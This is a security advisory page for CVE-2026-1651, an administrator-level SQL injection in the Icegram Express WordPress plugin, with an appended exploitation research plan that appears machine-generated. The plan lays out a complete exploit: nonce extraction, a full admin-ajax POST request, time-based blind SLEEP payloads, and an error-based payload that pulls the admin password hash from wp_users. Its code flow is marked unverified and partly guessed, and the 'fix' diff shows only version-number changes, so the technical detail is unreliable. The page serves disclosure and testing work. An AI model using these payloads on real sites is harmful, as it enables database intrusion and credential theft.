CVE-2026-1651

Email Subscribers & Newsletters <= 5.9.16 - Authenticated (Administrator+) SQL Injection via 'workflow_ids' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
6.5
CVSS Score
6.5
CVSS Score
medium
Severity
5.9.17
Patched in
1d
Time to patch

Description

The Email Subscribers by Icegram Express plugin for WordPress is vulnerable to SQL Injection via the 'workflow_ids' parameter in all versions up to, and including, 5.9.16 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
None
Availability

Technical Details

Affected versions<=5.9.16
PublishedMarch 3, 2026
Last updatedMarch 4, 2026
Affected pluginemail-subscribers

What Changed in the Fix

Changes introduced in v5.9.17

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan - CVE-2026-1651 ## 1. Vulnerability Summary **CVE-2026-1651** is an authenticated SQL injection vulnerability in the **Email Subscribers & Newsletters (Icegram Express)** plugin for WordPress. The flaw exists in the handling of the `workflow_ids` parameter, which is use…

Show full research plan

Exploitation Research Plan - CVE-2026-1651

1. Vulnerability Summary

CVE-2026-1651 is an authenticated SQL injection vulnerability in the Email Subscribers & Newsletters (Icegram Express) plugin for WordPress. The flaw exists in the handling of the workflow_ids parameter, which is used in SQL queries without proper sanitization, escaping, or preparation using $wpdb->prepare(). Authenticated users with Administrator privileges can inject arbitrary SQL commands into existing queries, typically leading to sensitive data extraction from the WordPress database.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin-ajax.php
  • AJAX Action: ig_es_admin_ajax (standard for the plugin's modern admin interface)
  • Vulnerable Parameter: workflow_ids (typically passed inside a data object or array)
  • Required Authentication: Administrator level access.
  • Preconditions: The plugin must be active. A valid nonce for the ig_es_admin_ajax action is required.

3. Code Flow

  1. Entry Point: An AJAX request is sent to admin-ajax.php with action=ig_es_admin_ajax.
  2. Hook Registration: The plugin registers this action (likely in the main class or a dedicated AJAX loader) which routes to a handler function.
  3. Dispatching: The handler reads a method parameter from the request (e.g., delete_workflows or bulk_action_workflows) and dispatches the request to the corresponding controller method in ES_Workflows_Controller or ES_Dashboard_Controller.
  4. Data Acquisition: The controller uses ig_es_get_request_data( 'data' ) to extract parameters. The workflow_ids value is retrieved from this data.
  5. Vulnerable Sink: The workflow_ids value (often a string or array) is concatenated directly into an SQL DELETE or UPDATE query's WHERE ID IN (...) clause.
    • Example Sink: $wpdb->query("DELETE FROM {$wpdb->prefix}ig_workflows WHERE id IN ($workflow_ids)");
  6. Execution: The malicious SQL is executed by $wpdb.

4. Nonce Acquisition Strategy

The plugin enqueues a localized script that contains the necessary nonce for administrative AJAX actions.

  1. Shortcode/Trigger: The ig-es-admin-ajax-nonce is localized when the Icegram Express dashboard or settings pages are loaded.
  2. Setup: The agent should navigate to the plugin's dashboard.
  3. Extraction:
    • Navigate to: [TARGET_URL]/wp-admin/admin.php?page=es_dashboard
    • JavaScript Variable: The nonce is typically stored in the es_onboarding_data or es_dashboard_data object.
    • Command: browser_eval("window.es_onboarding_data?.security || window.es_dashboard_data?.security")
    • Verbatim Identifier: Based on lite/includes/controllers/class-es-onboarding-controller.php, the key is security and the localization variable name is es_onboarding_data.

5. Exploitation Strategy

We will perform a time-based blind SQL injection to confirm the vulnerability.

Step 1: Extract Nonce

Use the browser to access the admin dashboard and extract the ig-es-admin-ajax-nonce.

Step 2: Construct the Payload

The workflow_ids parameter is expected to be part of the data parameter in a JSON-like format or an array.

Payload for workflow_ids: 1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -

Step 3: Execute the Request

Submit a POST request to admin-ajax.php.

Request Details:

  • URL: [TARGET_URL]/wp-admin/admin-ajax.php
  • Method: POST
  • Content-Type: application/x-www-form-urlencoded
  • Body:
action=ig_es_admin_ajax
method=delete_workflows
security=[EXTRACTED_NONCE]
data[workflow_ids]=1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -

Note: If the plugin expects JSON in the data parameter:
data={"workflow_ids":"1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -"}

6. Test Data Setup

  1. User: Ensure an Administrator user exists and is logged in.
  2. Content: Create at least one dummy workflow to ensure the code path for deletion/bulk-action is reached.
    • Use WP-CLI: wp eval "ES()->workflows_db->insert(array('name' => 'Test Workflow', 'status' => 'active'));" (Assuming the table/method exist based on class-es-dashboard-controller.php).

7. Expected Results

  • Success: The HTTP request should take approximately 10 seconds to respond.
  • Response Body: Usually a JSON response like {"success": true, ...} or a generic 1.
  • Database: No workflows might actually be deleted if the ID 1) doesn't match, but the SLEEP command will execute regardless because it is part of the AND logic.

8. Verification Steps

  1. Timing Check: Monitor the time_total of the http_request. If it exceeds 10 seconds, the injection is successful.
  2. Error Log Check: Check wp-content/debug.log (if enabled) for SQL syntax errors which might reveal the full query structure.
  3. Data Extraction (Proof of Concept):
    • Attempt to extract the DB version: 1) AND (SELECT 1 FROM (SELECT(IF(SUBSTR(VERSION(),1,1)='8',SLEEP(10),0)))a)-- -

9. Alternative Approaches

  • In-place SQLi: Try the workflow_ids parameter in different method contexts: toggle_workflow_status, bulk_delete, or archive_workflows.
  • Direct Parameter: If data[workflow_ids] fails, try sending workflow_ids as a top-level POST parameter.
  • Error-Based: If WP_DEBUG is on, use UPDATEXML or EXTRACTVALUE for faster data extraction:
    workflow_ids=1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1)-- -
Research Findings
Static analysis — not yet PoC-verified

Summary

The Icegram Express (Email Subscribers & Newsletters) plugin for WordPress is vulnerable to SQL injection via the 'workflow_ids' parameter in versions up to 5.9.16. This flaw exists because the plugin fails to properly escape user-supplied input or use prepared statements before including it in database queries during administrative workflow actions. Authenticated attackers with administrator-level access can exploit this to append malicious SQL commands and extract sensitive information from the database.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/email-subscribers/5.9.16/email-subscribers.php /home/deploy/wp-safety.org/data/plugin-versions/email-subscribers/5.9.17/email-subscribers.php
--- /home/deploy/wp-safety.org/data/plugin-versions/email-subscribers/5.9.16/email-subscribers.php	2026-02-10 08:37:38.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/email-subscribers/5.9.17/email-subscribers.php	2026-02-19 09:02:14.000000000 +0000
@@ -3,7 +3,7 @@
  * Plugin Name: Icegram Express - Email Subscribers, Newsletters and Marketing Automation Plugin
  * Plugin URI: https://www.icegram.com/
  * Description: Add subscription forms on website, send HTML newsletters & automatically notify subscribers about new blog posts once it is published.
- * Version: 5.9.16
+ * Version: 5.9.17
  * Author: Icegram
  * Author URI: https://www.icegram.com/
  * Requires at least: 3.9
@@ -187,7 +187,7 @@
 /* ***************************** Initial Compatibility Work (End) ******************* */
 
 if ( ! defined( 'ES_PLUGIN_VERSION' ) ) {
-	define( 'ES_PLUGIN_VERSION', '5.9.16' );
+	define( 'ES_PLUGIN_VERSION', '5.9.17' );
 }
 
 // Plugin Folder Path.

Exploit Outline

To exploit this vulnerability, an attacker must be authenticated with Administrator privileges. The attacker first navigates to the plugin's dashboard to extract a valid security nonce for the 'ig_es_admin_ajax' action, typically located in the 'es_onboarding_data' or 'es_dashboard_data' JavaScript variables. A POST request is then made to /wp-admin/admin-ajax.php with the 'action' set to 'ig_es_admin_ajax' and the 'method' set to a workflow action (e.g., 'delete_workflows' or 'bulk_action_workflows'). The malicious SQL payload is passed via the 'workflow_ids' key within the 'data' parameter. For example, using a payload like '1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -' in the 'workflow_ids' parameter will cause the database to pause execution for 10 seconds, confirming the injection point. Further manipulation allows for extracting sensitive information from database tables using blind or error-based SQL injection techniques.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.